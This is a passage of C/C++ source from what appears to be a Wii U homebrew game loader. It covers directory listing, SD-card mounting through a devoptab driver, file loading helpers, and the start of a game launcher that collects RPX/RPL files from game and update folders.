isDir; } DirEntry; class DirList { public: //!Constructor DirList(void); //!\param path Path from where to load the filelist of all files //!\param filter A fileext that needs to be filtered //!\param flags search/filter flags from the enum DirList(const std::string & path, const char *filter = NULL, u32 flags = Files | Dirs); //!Destructor virtual ~DirList(); //! Load all the files from a directory bool LoadPath(const std::string & path, const char *filter = NULL, u32 flags = Files | Dirs); //! Get a filename of the list //!\param list index const char * GetFilename(int index) const; //! Get the a filepath of the list //!\param list index const char *GetFilepath(int index) const { if (!valid(index)) return ""; else return FileInfo[index].FilePath; } //! Get the a filesize of the list //!\param list index u64 GetFilesize(int index) const; //! Is index a dir or a file //!\param list index bool IsDir(int index) const { if(!valid(index)) return false; return FileInfo[index].isDir; }; //! Get the filecount of the whole list int GetFilecount() const { return FileInfo.size(); }; //! Sort list by filepath void SortList(); //! Custom sort command for custom sort functions definitions void SortList(bool (*SortFunc)(const DirEntry &a, const DirEntry &b)); //! Get the index of the specified filename int GetFileIndex(const char *filename) const; //! Enum for search/filter flags enum { Files = 0x01, Dirs = 0x02, CheckSubfolders = 0x08, }; protected: // Internal parser bool InternalLoadPath(std::string &path); //!Add a list entrie void AddEntrie(const std::string &filepath, const char * filename, bool isDir); //! Clear the list void ClearList(); //! Check if valid pos is requested inline bool valid(u32 pos) const { return (pos < FileInfo.size()); }; u32 Flags; const char *Filter; std::vector FileInfo; }; #endif ================================================ FILE: src/fs/fs_utils.c ================================================ #include #include #include #include #include #include "dynamic_libs/fs_functions.h" int MountFS(void *pClient, void *pCmd, char **mount_path) { int result = -1; void *mountSrc = malloc(FS_MOUNT_SOURCE_SIZE); if(!mountSrc) return -3; char* mountPath = (char*) malloc(FS_MAX_MOUNTPATH_SIZE); if(!mountPath) { free(mountSrc); return -4; } memset(mountSrc, 0, FS_MOUNT_SOURCE_SIZE); memset(mountPath, 0, FS_MAX_MOUNTPATH_SIZE); // Mount sdcard if (FSGetMountSource(pClient, pCmd, FS_SOURCETYPE_EXTERNAL, mountSrc, -1) == 0) { result = FSMount(pClient, pCmd, mountSrc, mountPath, FS_MAX_MOUNTPATH_SIZE, -1); if((result == 0) && mount_path) { *mount_path = (char*)malloc(strlen(mountPath) + 1); if(*mount_path) strcpy(*mount_path, mountPath); } } free(mountPath); free(mountSrc); return result; } int UmountFS(void *pClient, void *pCmd, const char *mountPath) { int result = -1; result = FSUnmount(pClient, pCmd, mountPath, -1); return result; } int LoadFileToMem(const char *filepath, u8 **inbuffer, u32 *size) { //! always initialze input *inbuffer = NULL; if(size) *size = 0; int iFd = open(filepath, O_RDONLY); if (iFd < 0) return -1; u32 filesize = lseek(iFd, 0, SEEK_END); lseek(iFd, 0, SEEK_SET); u8 *buffer = (u8 *) malloc(filesize); if (buffer == NULL) { close(iFd); return -2; } u32 blocksize = 0x4000; u32 done = 0; int readBytes = 0; while(done < filesize) { if(done + blocksize > filesize) { blocksize = filesize - done; } readBytes = read(iFd, buffer + done, blocksize); if(readBytes <= 0) break; done += readBytes; } close(iFd); if (done != filesize) { free(buffer); return -3; } *inbuffer = buffer; //! sign is optional input if(size) *size = filesize; return filesize; } int CheckFile(const char * filepath) { if(!filepath) return 0; struct stat filestat; char dirnoslash[strlen(filepath)+2]; snprintf(dirnoslash, sizeof(dirnoslash), "%s", filepath); while(dirnoslash[strlen(dirnoslash)-1] == '/') dirnoslash[strlen(dirnoslash)-1] = '\0'; char * notRoot = strrchr(dirnoslash, '/'); if(!notRoot) { strcat(dirnoslash, "/"); } if (stat(dirnoslash, &filestat) == 0) return 1; return 0; } int CreateSubfolder(const char * fullpath) { if(!fullpath) return 0; int result = 0; char dirnoslash[strlen(fullpath)+1]; strcpy(dirnoslash, fullpath); int pos = strlen(dirnoslash)-1; while(dirnoslash[pos] == '/') { dirnoslash[pos] = '\0'; pos--; } if(CheckFile(dirnoslash)) { return 1; } else { char parentpath[strlen(dirnoslash)+2]; strcpy(parentpath, dirnoslash); char * ptr = strrchr(parentpath, '/'); if(!ptr) { //!Device root directory (must be with '/') strcat(parentpath, "/"); struct stat filestat; if (stat(parentpath, &filestat) == 0) return 1; return 0; } ptr++; ptr[0] = '\0'; result = CreateSubfolder(parentpath); } if(!result) return 0; if (mkdir(dirnoslash, 0777) == -1) { return 0; } return 1; } ================================================ FILE: src/fs/fs_utils.h ================================================ #ifndef __FS_UTILS_H_ #define __FS_UTILS_H_ #ifdef __cplusplus extern "C" { #endif #include int MountFS(void *pClient, void *pCmd, char **mount_path); int UmountFS(void *pClient, void *pCmd, const char *mountPath); int LoadFileToMem(const char *filepath, u8 **inbuffer, u32 *size); //! todo: C++ class int CreateSubfolder(const char * fullpath); int CheckFile(const char * filepath); #ifdef __cplusplus } #endif #endif // __FS_UTILS_H_ ================================================ FILE: src/fs/sd_fat_devoptab.c ================================================ /*************************************************************************** * Copyright (C) 2015 * by Dimok * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any * damages arising from the use of this software. * * Permission is granted to anyone to use this software for any * purpose, including commercial applications, and to alter it and * redistribute it freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you * must not claim that you wrote the original software. If you use * this software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and * must not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. ***************************************************************************/ #include #include #include #include #include #include #include #include #include "dynamic_libs/fs_functions.h" #include "dynamic_libs/os_functions.h" #include "fs_utils.h" #include "utils/logger.h" #define FS_ALIGNMENT 0x40 #define FS_ALIGN(x) (((x) + FS_ALIGNMENT - 1) & ~(FS_ALIGNMENT - 1)) typedef struct _sd_fat_private_t { char *mount_path; void *pClient; void *pCmd; void *pMutex; } sd_fat_private_t; typedef struct _sd_fat_file_state_t { sd_fat_private_t *dev; int fd; /* File descriptor */ int flags; /* Opening flags */ bool read; /* True if allowed to read from file */ bool write; /* True if allowed to write to file */ bool append; /* True if allowed to append to file */ u64 pos; /* Current position within the file (in bytes) */ u64 len; /* Total length of the file (in bytes) */ struct _sd_fat_file_state_t *prevOpenFile; /* The previous entry in a double-linked FILO list of open files */ struct _sd_fat_file_state_t *nextOpenFile; /* The next entry in a double-linked FILO list of open files */ } sd_fat_file_state_t; typedef struct _sd_fat_dir_entry_t { sd_fat_private_t *dev; int dirHandle; } sd_fat_dir_entry_t; static sd_fat_private_t *sd_fat_get_device_data(const char *path) { const devoptab_t *devoptab = NULL; char name[128] = {0}; int i; // Get the device name from the path strncpy(name, path, 127); strtok(name, ":/"); // Search the devoptab table for the specified device name // NOTE: We do this manually due to a 'bug' in GetDeviceOpTab // which ignores names with suffixes and causes names // like "ntfs" and "ntfs1" to be seen as equals for (i = 3; i < STD_MAX; i++) { devoptab = devoptab_list[i]; if (devoptab && devoptab->name) { if (strcmp(name, devoptab->name) == 0) { return (sd_fat_private_t *)devoptab->deviceData; } } } return NULL; } static char *sd_fat_real_path (const char *path, sd_fat_private_t *dev) { // Sanity check if (!path) return NULL; // Move the path pointer to the start of the actual path if (strchr(path, ':') != NULL) { path = strchr(path, ':') + 1; } int mount_len = strlen(dev->mount_path); char *new_name = (char*)malloc(mount_len + strlen(path) + 1); if(new_name) { strcpy(new_name, dev->mount_path); strcpy(new_name + mount_len, path); return new_name; } return new_name; } static int sd_fat_open_r (struct _reent *r, void *fileStruct, const char *path, int flags, int mode) { sd_fat_private_t *dev = sd_fat_get_device_data(path); if(!dev) { r->_errno = ENODEV; return -1; } sd_fat_file_state_t *file = (sd_fat_file_state_t *)fileStruct; file->dev = dev; // Determine which mode the file is opened for file->flags = flags; const char *mode_str; if ((flags & 0x03) == O_RDONLY) { file->read = true; file->write = false; file->append = false; mode_str = "r"; } else if ((flags & 0x03) == O_WRONLY) { file->read = false; file->write = true; file->append = (flags & O_APPEND); mode_str = file->append ? "a" : "w"; } else if ((flags & 0x03) == O_RDWR) { file->read = true; file->write = true; file->append = (flags & O_APPEND); mode_str = file->append ? "a+" : "r+"; } else { r->_errno = EACCES; return -1; } s32 fd = -1; OSLockMutex(dev->pMutex); char *real_path = sd_fat_real_path(path, dev); if(!path) { r->_errno = ENOMEM; OSUnlockMutex(dev->pMutex); return -1; } int result = FSOpenFile(dev->pClient, dev->pCmd, real_path, mode_str, &fd, -1); free(real_path); if(result == 0) { FSStat stats; result = FSGetStatFile(dev->pClient, dev->pCmd, fd, &stats, -1); if(result != 0) { FSCloseFile(dev->pClient, dev->pCmd, fd, -1); r->_errno = result; OSUnlockMutex(dev->pMutex); return -1; } file->fd = fd; file->pos = 0; file->len = stats.size; OSUnlockMutex(dev->pMutex); return (int)file; } r->_errno = result; OSUnlockMutex(dev->pMutex); return -1; } static int sd_fat_close_r (struct _reent *r, void *fd) { sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; if(!file->dev) { r->_errno = ENODEV; return -1; } OSLockMutex(file->dev->pMutex); int result = FSCloseFile(file->dev->pClient, file->dev->pCmd, file->fd, -1); OSUnlockMutex(file->dev->pMutex); if(result < 0) { r->_errno = result; return -1; } return 0; } static off_t sd_fat_seek_r (struct _reent *r, void* fd, off_t pos, int dir) { sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; if(!file->dev) { r->_errno = ENODEV; return 0; } OSLockMutex(file->dev->pMutex); switch(dir) { case SEEK_SET: file->pos = pos; break; case SEEK_CUR: file->pos += pos; break; case SEEK_END: file->pos = file->len + pos; break; default: r->_errno = EINVAL; return -1; } int result = FSSetPosFile(file->dev->pClient, file->dev->pCmd, file->fd, file->pos, -1); OSUnlockMutex(file->dev->pMutex); if(result == 0) { return file->pos; } return result; } static ssize_t sd_fat_write_r (struct _reent *r, void *fd, const char *ptr, size_t len) { sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; if(!file->dev) { r->_errno = ENODEV; return 0; } if(!file->write) { r->_errno = EACCES; return 0; } OSLockMutex(file->dev->pMutex); size_t len_aligned = FS_ALIGN(len); if(len_aligned > 0x4000) len_aligned = 0x4000; unsigned char *tmpBuf = (unsigned char *)memalign(FS_ALIGNMENT, len_aligned); if(!tmpBuf) { r->_errno = ENOMEM; OSUnlockMutex(file->dev->pMutex); return 0; } size_t done = 0; while(done < len) { size_t write_size = (len_aligned < (len - done)) ? len_aligned : (len - done); memcpy(tmpBuf, ptr + done, write_size); int result = FSWriteFile(file->dev->pClient, file->dev->pCmd, tmpBuf, 0x01, write_size, file->fd, 0, -1); if(result < 0) { r->_errno = result; break; } else if(result == 0) { if(write_size > 0) done = 0; break; } else { done += result; file->pos += result; } } free(tmpBuf); OSUnlockMutex(file->dev->pMutex); return done; } static ssize_t sd_fat_read_r (struct _reent *r, void* fd, char *ptr, size_t len) { sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; if(!file->dev) { r->_errno = ENODEV; return 0; } if(!file->read) { r->_errno = EACCES; return 0; } OSLockMutex(file->dev->pMutex); size_t len_aligned = FS_ALIGN(len); if(len_aligned > 0x4000) len_aligned = 0x4000; unsigned char *tmpBuf = (unsigned char *)memalign(FS_ALIGNMENT, len_aligned); if(!tmpBuf) { r->_errno = ENOMEM; OSUnlockMutex(file->dev->pMutex); return 0; } size_t done = 0; while(done < len) { size_t read_size = (len_aligned < (len - done)) ? len_aligned : (len - done); int result = FSReadFile(file->dev->pClient, file->dev->pCmd, tmpBuf, 0x01, read_size, file->fd, 0, -1); if(result < 0) { r->_errno = result; done = 0; break; } else if(result == 0) { //! TODO: error on read_size > 0 break; } else { memcpy(ptr + done, tmpBuf, read_size); done += result; file->pos += result; } } free(tmpBuf); OSUnlockMutex(file->dev->pMutex); return done; } static int sd_fat_fstat_r (struct _reent *r, void* fd, struct stat *st) { sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; if(!file->dev) { r->_errno = ENODEV; return -1; } OSLockMutex(file->dev->pMutex); // Zero out the stat buffer memset(st, 0, sizeof(struct stat)); FSStat stats; int result = FSGetStatFile(file->dev->pClient, file->dev->pCmd, file->fd, &stats, -1); if(result != 0) { r->_errno = result; OSUnlockMutex(file->dev->pMutex); return -1; } st->st_mode = S_IFREG; st->st_size = stats.size; st->st_blocks = (stats.size + 511) >> 9; st->st_nlink = 1; // Fill in the generic entry stats st->st_dev = stats.ent_id; st->st_uid = stats.owner_id; st->st_gid = stats.group_id; st->st_ino = stats.ent_id; st->st_atime = stats.mtime; st->st_ctime = stats.ctime; st->st_mtime = stats.mtime; OSUnlockMutex(file->dev->pMutex); return 0; } static int sd_fat_ftruncate_r (struct _reent *r, void* fd, off_t len) { sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; if(!file->dev) { r->_errno = ENODEV; return -1; } OSLockMutex(file->dev->pMutex); int result = FSTruncateFile(file->dev->pClient, file->dev->pCmd, file->fd, -1); OSUnlockMutex(file->dev->pMutex); if(result < 0) { r->_errno = result; return -1; } return 0; } static int sd_fat_fsync_r (struct _reent *r, void* fd) { sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; if(!file->dev) { r->_errno = ENODEV; return -1; } OSLockMutex(file->dev->pMutex); int result = FSFlushFile(file->dev->pClient, file->dev->pCmd, file->fd, -1); OSUnlockMutex(file->dev->pMutex); if(result < 0) { r->_errno = result; return -1; } return 0; } static int sd_fat_stat_r (struct _reent *r, const char *path, struct stat *st) { sd_fat_private_t *dev = sd_fat_get_device_data(path); if(!dev) { r->_errno = ENODEV; return -1; } OSLockMutex(dev->pMutex); // Zero out the stat buffer memset(st, 0, sizeof(struct stat)); char *real_path = sd_fat_real_path(path, dev); if(!real_path) { r->_errno = ENOMEM; OSUnlockMutex(dev->pMutex); return -1; } FSStat stats; int result = FSGetStat(dev->pClient, dev->pCmd, real_path, &stats, -1); free(real_path); if(result < 0) { r->_errno = result; OSUnlockMutex(dev->pMutex); return -1; } // mark root also as directory st->st_mode = ((stats.flag & 0x80000000) || (strlen(dev->mount_path) + 1 == strlen(real_path)))? S_IFDIR : S_IFREG; st->st_nlink = 1; st->st_size = stats.size; st->st_blocks = (stats.size + 511) >> 9; // Fill in the generic entry stats st->st_dev = stats.ent_id; st->st_uid = stats.owner_id; st->st_gid = stats.group_id; st->st_ino = stats.ent_id; st->st_atime = stats.mtime; st->st_ctime = stats.ctime; st->st_mtime = stats.mtime; OSUnlockMutex(dev->pMutex); return 0; } static int sd_fat_link_r (struct _reent *r, const char *existing, const char *newLink) { r->_errno = ENOTSUP; return -1; } static int sd_fat_unlink_r (struct _reent *r, const char *name) { sd_fat_private_t *dev = sd_fat_get_device_data(name); if(!dev) { r->_errno = ENODEV; return -1; } OSLockMutex(dev->pMutex); char *real_path = sd_fat_real_path(name, dev); if(!real_path) { r->_errno = ENOMEM; OSUnlockMutex(dev->pMutex); return -1; } int result = FSRemove(dev->pClient, dev->pCmd, real_path, -1); free(real_path); OSUnlockMutex(dev->pMutex); if(result < 0) { r->_errno = result; return -1; } return 0; } static int sd_fat_chdir_r (struct _reent *r, const char *name) { sd_fat_private_t *dev = sd_fat_get_device_data(name); if(!dev) { r->_errno = ENODEV; return -1; } OSLockMutex(dev->pMutex); char *real_path = sd_fat_real_path(name, dev); if(!real_path) { r->_errno = ENOMEM; OSUnlockMutex(dev->pMutex); return -1; } int result = FSChangeDir(dev->pClient, dev->pCmd, real_path, -1); free(real_path); OSUnlockMutex(dev->pMutex); if(result < 0) { r->_errno = result; return -1; } return 0; } static int sd_fat_rename_r (struct _reent *r, const char *oldName, const char *newName) { sd_fat_private_t *dev = sd_fat_get_device_data(oldName); if(!dev) { r->_errno = ENODEV; return -1; } OSLockMutex(dev->pMutex); char *real_oldpath = sd_fat_real_path(oldName, dev); if(!real_oldpath) { r->_errno = ENOMEM; OSUnlockMutex(dev->pMutex); return -1; } char *real_newpath = sd_fat_real_path(newName, dev); if(!real_newpath) { r->_errno = ENOMEM; free(real_oldpath); OSUnlockMutex(dev->pMutex); return -1; } int result = FSRename(dev->pClient, dev->pCmd, real_oldpath, real_newpath, -1); free(real_oldpath); free(real_newpath); OSUnlockMutex(dev->pMutex); if(result < 0) { r->_errno = result; return -1; } return 0; } static int sd_fat_mkdir_r (struct _reent *r, const char *path, int mode) { sd_fat_private_t *dev = sd_fat_get_device_data(path); if(!dev) { r->_errno = ENODEV; return -1; } OSLockMutex(dev->pMutex); char *real_path = sd_fat_real_path(path, dev); if(!real_path) { r->_errno = ENOMEM; OSUnlockMutex(dev->pMutex); return -1; } int result = FSMakeDir(dev->pClient, dev->pCmd, real_path, -1); free(real_path); OSUnlockMutex(dev->pMutex); if(result < 0) { r->_errno = result; return -1; } return 0; } static int sd_fat_statvfs_r (struct _reent *r, const char *path, struct statvfs *buf) { sd_fat_private_t *dev = sd_fat_get_device_data(path); if(!dev) { r->_errno = ENODEV; return -1; } OSLockMutex(dev->pMutex); // Zero out the stat buffer memset(buf, 0, sizeof(struct statvfs)); char *real_path = sd_fat_real_path(path, dev); if(!real_path) { r->_errno = ENOMEM; OSUnlockMutex(dev->pMutex); return -1; } u64 size; int result = FSGetFreeSpaceSize(dev->pClient, dev->pCmd, real_path, &size, -1); free(real_path); if(result < 0) { r->_errno = result; OSUnlockMutex(dev->pMutex); return -1; } // File system block size buf->f_bsize = 512; // Fundamental file system block size buf->f_frsize = 512; // Total number of blocks on file system in units of f_frsize buf->f_blocks = size >> 9; // this is unknown // Free blocks available for all and for non-privileged processes buf->f_bfree = buf->f_bavail = size >> 9; // Number of inodes at this point in time buf->f_files = 0xffffffff; // Free inodes available for all and for non-privileged processes buf->f_ffree = 0xffffffff; // File system id buf->f_fsid = (int)dev; // Bit mask of f_flag values. buf->f_flag = 0; // Maximum length of filenames buf->f_namemax = 255; OSUnlockMutex(dev->pMutex); return 0; } static DIR_ITER *sd_fat_diropen_r (struct _reent *r, DIR_ITER *dirState, const char *path) { sd_fat_private_t *dev = sd_fat_get_device_data(path); if(!dev) { r->_errno = ENODEV; return NULL; } sd_fat_dir_entry_t *dirIter = (sd_fat_dir_entry_t *)dirState->dirStruct; OSLockMutex(dev->pMutex); char *real_path = sd_fat_real_path(path, dev); if(!real_path) { r->_errno = ENOMEM; OSUnlockMutex(dev->pMutex); return NULL; } s32 dirHandle; int result = FSOpenDir(dev->pClient, dev->pCmd, real_path, &dirHandle, -1); free(real_path); OSUnlockMutex(dev->pMutex); if(result < 0) { r->_errno = result; return NULL; } dirIter->dev = dev; dirIter->dirHandle = dirHandle; return dirState; } static int sd_fat_dirclose_r (struct _reent *r, DIR_ITER *dirState) { sd_fat_dir_entry_t *dirIter = (sd_fat_dir_entry_t *)dirState->dirStruct; if(!dirIter->dev) { r->_errno = ENODEV; return -1; } OSLockMutex(dirIter->dev->pMutex); int result = FSCloseDir(dirIter->dev->pClient, dirIter->dev->pCmd, dirIter->dirHandle, -1); OSUnlockMutex(dirIter->dev->pMutex); if(result < 0) { r->_errno = result; return -1; } return 0; } static int sd_fat_dirreset_r (struct _reent *r, DIR_ITER *dirState) { sd_fat_dir_entry_t *dirIter = (sd_fat_dir_entry_t *)dirState->dirStruct; if(!dirIter->dev) { r->_errno = ENODEV; return -1; } OSLockMutex(dirIter->dev->pMutex); int result = FSRewindDir(dirIter->dev->pClient, dirIter->dev->pCmd, dirIter->dirHandle, -1); OSUnlockMutex(dirIter->dev->pMutex); if(result < 0) { r->_errno = result; return -1; } return 0; } static int sd_fat_dirnext_r (struct _reent *r, DIR_ITER *dirState, char *filename, struct stat *st) { sd_fat_dir_entry_t *dirIter = (sd_fat_dir_entry_t *)dirState->dirStruct; if(!dirIter->dev) { r->_errno = ENODEV; return -1; } OSLockMutex(dirIter->dev->pMutex); FSDirEntry * dir_entry = malloc(sizeof(FSDirEntry)); int result = FSReadDir(dirIter->dev->pClient, dirIter->dev->pCmd, dirIter->dirHandle, dir_entry, -1); if(result < 0) { free(dir_entry); r->_errno = result; OSUnlockMutex(dirIter->dev->pMutex); return -1; } // Fetch the current entry strcpy(filename, dir_entry->name); if(st) { memset(st, 0, sizeof(struct stat)); st->st_mode = (dir_entry->stat.flag & 0x80000000) ? S_IFDIR : S_IFREG; st->st_nlink = 1; st->st_size = dir_entry->stat.size; st->st_blocks = (dir_entry->stat.size + 511) >> 9; st->st_dev = dir_entry->stat.ent_id; st->st_uid = dir_entry->stat.owner_id; st->st_gid = dir_entry->stat.group_id; st->st_ino = dir_entry->stat.ent_id; st->st_atime = dir_entry->stat.mtime; st->st_ctime = dir_entry->stat.ctime; st->st_mtime = dir_entry->stat.mtime; } free(dir_entry); OSUnlockMutex(dirIter->dev->pMutex); return 0; } // SD device driver devoptab static const devoptab_t devops_sd_fat = { NULL, /* Device name */ sizeof (sd_fat_file_state_t), sd_fat_open_r, sd_fat_close_r, sd_fat_write_r, sd_fat_read_r, sd_fat_seek_r, sd_fat_fstat_r, sd_fat_stat_r, sd_fat_link_r, sd_fat_unlink_r, sd_fat_chdir_r, sd_fat_rename_r, sd_fat_mkdir_r, sizeof (sd_fat_dir_entry_t), sd_fat_diropen_r, sd_fat_dirreset_r, sd_fat_dirnext_r, sd_fat_dirclose_r, sd_fat_statvfs_r, sd_fat_ftruncate_r, sd_fat_fsync_r, NULL, /* Device data */ NULL, /* sd_fat_chmod_r */ NULL, /* sd_fat_fchmod_r */ NULL /* sd_fat_rmdir_r */ }; static int sd_fat_add_device (const char *name, const char *mount_path, void *pClient, void *pCmd) { devoptab_t *dev = NULL; char *devname = NULL; char *devpath = NULL; int i; // Sanity check if (!name) { errno = EINVAL; return -1; } // Allocate a devoptab for this device dev = (devoptab_t *) malloc(sizeof(devoptab_t) + strlen(name) + 1); if (!dev) { errno = ENOMEM; return -1; } // Use the space allocated at the end of the devoptab for storing the device name devname = (char*)(dev + 1); strcpy(devname, name); // create private data int mount_path_len = 0; if(mount_path != NULL){ mount_path_len = strlen(mount_path); } sd_fat_private_t *priv = (sd_fat_private_t *)malloc(sizeof(sd_fat_private_t) + mount_path_len + 1); if(!priv) { free(dev); errno = ENOMEM; return -1; } devpath = (char*)(priv+1); if(mount_path != NULL){ strcpy(devpath, mount_path); } // setup private data priv->mount_path = devpath; priv->pClient = pClient; priv->pCmd = pCmd; priv->pMutex = malloc(OS_MUTEX_SIZE); if(!priv->pMutex) { free(dev); free(priv); errno = ENOMEM; return -1; } OSInitMutex(priv->pMutex); // Setup the devoptab memcpy(dev, &devops_sd_fat, sizeof(devoptab_t)); dev->name = devname; dev->deviceData = priv; // Add the device to the devoptab table (if there is a free slot) for (i = 3; i < STD_MAX; i++) { if (devoptab_list[i] == devoptab_list[0]) { devoptab_list[i] = dev; return 0; } } // failure, free all memory free(priv); free(dev); // If we reach here then there are no free slots in the devoptab table for this device errno = EADDRNOTAVAIL; return -1; } /* Because of some weird reason unmounting doesn't work properly. This fix if mainly when a usb drive is connected. It resets the devoptab_list, otherwise mounting again would throw an exception (in strlen). No memory is free'd here. Maybe a problem?!?!? */ void deleteDevTabsNames(){ const devoptab_t * devoptab = NULL; u32 last_entry = (u32) devoptab_list[STD_MAX-1]; for (int i = 3; i < STD_MAX; i++) { devoptab = devoptab_list[i]; if (devoptab) { //log_printf("check devotab %d %08X\n",i,devoptab); if((u32) devoptab != last_entry){ devoptab_list[i] = (const devoptab_t *)last_entry; //log_printf("Removed devotab %d %08X %08X %08X\n",i,devoptab,devoptab->name,devoptab->deviceData); } } } } static int sd_fat_remove_device (const char *path, void **pClient, void **pCmd, char **mountPath) { const devoptab_t *devoptab = NULL; char name[128] = {0}; int i; // Get the device name from the path strncpy(name, path, 127); strtok(name, ":/"); // Find and remove the specified device from the devoptab table // NOTE: We do this manually due to a 'bug' in RemoveDevice // which ignores names with suffixes and causes names // like "ntfs" and "ntfs1" to be seen as equals for (i = 3; i < STD_MAX; i++) { devoptab = devoptab_list[i]; if (devoptab && devoptab->name) { if (strcmp(name, devoptab->name) == 0) { devoptab_list[i] = devoptab_list[0]; if(devoptab->deviceData) { sd_fat_private_t *priv = (sd_fat_private_t *)devoptab->deviceData; if(pClient != NULL) *pClient = priv->pClient; if(pCmd != NULL) *pCmd = priv->pCmd; if(mountPath != NULL){ *mountPath = (char*) malloc(strlen(priv->mount_path)+1); if(*mountPath) strcpy(*mountPath, priv->mount_path); } if(priv->pMutex) free(priv->pMutex); free(devoptab->deviceData); } free((devoptab_t*)devoptab); return 0; } } } return -1; } int mount_sd_fat(const char *path) { int result = -1; // get command and client void* pClient = malloc(FS_CLIENT_SIZE); void* pCmd = malloc(FS_CMD_BLOCK_SIZE); if(!pClient || !pCmd) { // just in case free if not 0 if(pClient) free(pClient); if(pCmd) free(pCmd); return -2; } FSInit(); FSInitCmdBlock(pCmd); FSAddClientEx(pClient, 0, -1); char *mountPath = NULL; if(MountFS(pClient, pCmd, &mountPath) == 0) { result = sd_fat_add_device(path, mountPath, pClient, pCmd); free(mountPath); } return result; } int unmount_sd_fat(const char *path) { void *pClient = 0; void *pCmd = 0; char *mountPath = 0; int result = sd_fat_remove_device(path, &pClient, &pCmd, &mountPath); if(result == 0) { UmountFS(pClient, pCmd, mountPath); FSDelClient(pClient); free(pClient); free(pCmd); free(mountPath); //FSShutdown(); } return result; } int mount_fake(){ return sd_fat_add_device("fake", NULL, NULL, NULL); } int unmount_fake(){ return sd_fat_remove_device ("fake", NULL,NULL,NULL); } ================================================ FILE: src/fs/sd_fat_devoptab.h ================================================ /*************************************************************************** * Copyright (C) 2015 * by Dimok * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any * damages arising from the use of this software. * * Permission is granted to anyone to use this software for any * purpose, including commercial applications, and to alter it and * redistribute it freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you * must not claim that you wrote the original software. If you use * this software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and * must not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. ***************************************************************************/ #ifndef __SD_FAT_DEVOPTAB_H_ #define __SD_FAT_DEVOPTAB_H_ #ifdef __cplusplus extern "C" { #endif s32 mount_sd_fat(const char *path); s32 unmount_sd_fat(const char *path); #ifdef __cplusplus } #endif #endif // __SD_FAT_DEVOPTAB_H_ ================================================ FILE: src/game/GameLauncher.cpp ================================================ #include #include #include #include #include #include #include "fs/fs_utils.h" #include "settings/CSettings.h" #include "GameLauncher.h" #include "fs/CFile.hpp" #include "fs/DirList.h" #include "kernel/kernel_functions.h" #include "utils/StringTools.h" #include "utils/logger.h" #include "utils/xml.h" #include "utils/utils.h" #include "settings/CSettingsGame.h" #include "settings/SettingsGameDefs.h" #include "utils/FileReplacer.h" #include "common/retain_vars.h" /* RPX stuff */ #define RPX_SH_STRNDX_OFFSET 0x0032 #define RPX_SHT_START 0x0040 #define RPX_SHT_ENTRY_SIZE 0x28 #define RPX_SHDR_FLAGS_OFFSET 0x08 #define RPX_SHDR_OFFSET_OFFSET 0x10 #define RPX_SHDR_SIZE_OFFSET 0x14 #define RPX_SHDR_ZLIB_FLAG 0x08000000 game_paths_t gamePathStruct; /* global variable for CosAppXml struct that is forced to data section */ extern ReducedCosAppXmlInfo cosAppXmlInfoStruct; GameLauncher * GameLauncher::loadGameToMemoryAsync(const discHeader *hdr) { GameLauncher * launcher = new GameLauncher(hdr); launcher->resumeThread(); return launcher; } void GameLauncher::executeThread() { int result = loadGameToMemory(discHdr); asyncLoadFinished(this, discHdr, result); } int GameLauncher::loadGameToMemory(const discHeader *header) { if(!header) return INVALID_INPUT; //! initialize our tables required for the games memoryInitAreaTable(); rpxRplTableInit(); std::map rplUpdateNameList; std::map rplFinalNameList; std::string completeUpdatePath(header->gamepath); DirList rpxList(header->gamepath + RPX_RPL_PATH, ".rpx", DirList::Files); std::string rpxName; std::string rpxPath; if(rpxList.GetFilecount() == 0) { DEBUG_FUNCTION_LINE("RPX file not found!\n"); return RPX_NOT_FOUND; } if(rpxList.GetFilecount() != 1) { DEBUG_FUNCTION_LINE("Warning: Too many RPX files in the folder! Found %i files! Using first one.\n", rpxList.GetFilecount()); //return TOO_MANY_RPX_NOT_FOUND; } rpxName = rpxList.GetFilename(0); rpxPath = rpxList.GetFilepath(0); //! TODO: clean this path creation up std::string game_dir = header->gamepath; size_t pos = game_dir.rfind('/'); if(pos != std::string::npos) game_dir = game_dir.substr(pos + 1); //! set the save game path from the gamenames path std::string saveGamePath = CSettings::getValueAsString(CSettings::GameSavePath) + "/" + game_dir; std::string saveGamePathCommon; std::string saveGamePathUser; std::string updateFolder = COMMON_UPDATE_PATH; u8 save_method = CSettings::getValueAsU8(CSettings::GameSaveMode); GameSettings gs; bool extra_save = false; bool gs_result = CSettingsGame::getInstance()->LoadGameSettings(header->id, gs); bool use_new_xml = false; if(gs_result){ DEBUG_FUNCTION_LINE("Found game settings\n"); if(gs.updateFolder.compare(COMMON_UPDATE_PATH) != 0){ DEBUG_FUNCTION_LINE("Using Update folder\n"); gSettingUseUpdatepath = 1; updateFolder = gs.updateFolder; completeUpdatePath += UPDATE_PATH + std::string("/") + updateFolder; createFileList(completeUpdatePath); //Checking RPX DirList rpxUpdateList(completeUpdatePath + RPX_RPL_PATH, ".rpx", DirList::Files); if(rpxUpdateList.GetFilecount() != 0){ DEBUG_FUNCTION_LINE("Using RPX from update path\n"); use_new_xml = true; rpxName = rpxUpdateList.GetFilename(0); rpxPath = rpxUpdateList.GetFilepath(0); }else{ DEBUG_FUNCTION_LINE("Using RPX from game path\n"); } //Checking RPL DirList rplUpdateList(completeUpdatePath + RPX_RPL_PATH, ".rpl", DirList::Files); if(rplUpdateList.GetFilecount() != 0) { DEBUG_FUNCTION_LINE("Using RPL from update path\n"); for(int i = 0; i < rplUpdateList.GetFilecount(); i++){ rplUpdateNameList[rplUpdateList.GetFilename(i)] = rplUpdateList.GetFilepath(i); rplFinalNameList[rplUpdateList.GetFilename(i)] = 